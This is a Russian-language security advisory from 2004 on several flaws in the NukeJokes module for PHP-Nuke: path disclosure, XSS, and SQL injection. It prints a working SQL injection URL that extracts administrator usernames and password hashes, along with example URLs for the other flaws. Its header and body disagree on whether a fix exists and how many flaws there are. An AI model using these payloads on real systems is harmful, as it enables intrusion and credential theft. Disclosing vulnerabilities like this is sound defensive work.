Несколько уязвимостей в NukeJokes
| Дата публикации: | 10.05.2004 |
| Всего просмотров: | 1450 |
| Опасность: | Средняя |
| Наличие исправления: | Да |
| Количество уязвимостей: | 1 |
| CVE ID: | Нет данных |
| Вектор эксплуатации: | Удаленная |
| Воздействие: | Неавторизованное изменение данных |
| CWE ID: | Нет данных |
| Наличие эксплоита: | Нет данных |
| Уязвимые продукты: |
NukeJokes 1.x
NukeJokes 2.x |
| Уязвимые версии: NukeJokes 1.7 – 2.0 beta
Описание: Несколько уязвимостей обнаружено в NukeJokes. Злонамеренный пользователь может выполнить нападение SQl инъекции,XSS нападение и раскрыть инсталляционный путь. 1. Раскрытие пути: http://localhost/nuke72/modules/NukeJokes/mainfunctions.php http://localhost/nuke72/modules.php?name=NukeJokes&func=JokeView&jokeid=foobar http://localhost/nuke72/modules.php?name=NukeJokes&func=CatView&cat=foobar2. SQL инъекция: http://localhost/nuke72/modules.php?name=NukeJokes&file=print&jokeid=-1/**/UNION/**/SELECT/**/aid,pwd/**/FROM/**/nuke_authors/**/WHERE/**/radminsuper=1/**/LIMIT/**/1/*3. XSS: http://localhost/nuke72/modules.php?name=NukeJokes&func=CatView&cat=[xss code here] http://localhost/nuke72/modules.php?name=NukeJokes&func=JokeView&jokeid=[xss code here] URL производителя: http://www.funportal.host.sk Решение:Способов устранения обнаруженной уязвимости не существует в настоящее время. |
|
| Ссылки: | [waraxe-2004-SA#028 - Multiple vulnerabilities in NukeJokes module for PhpNuke] |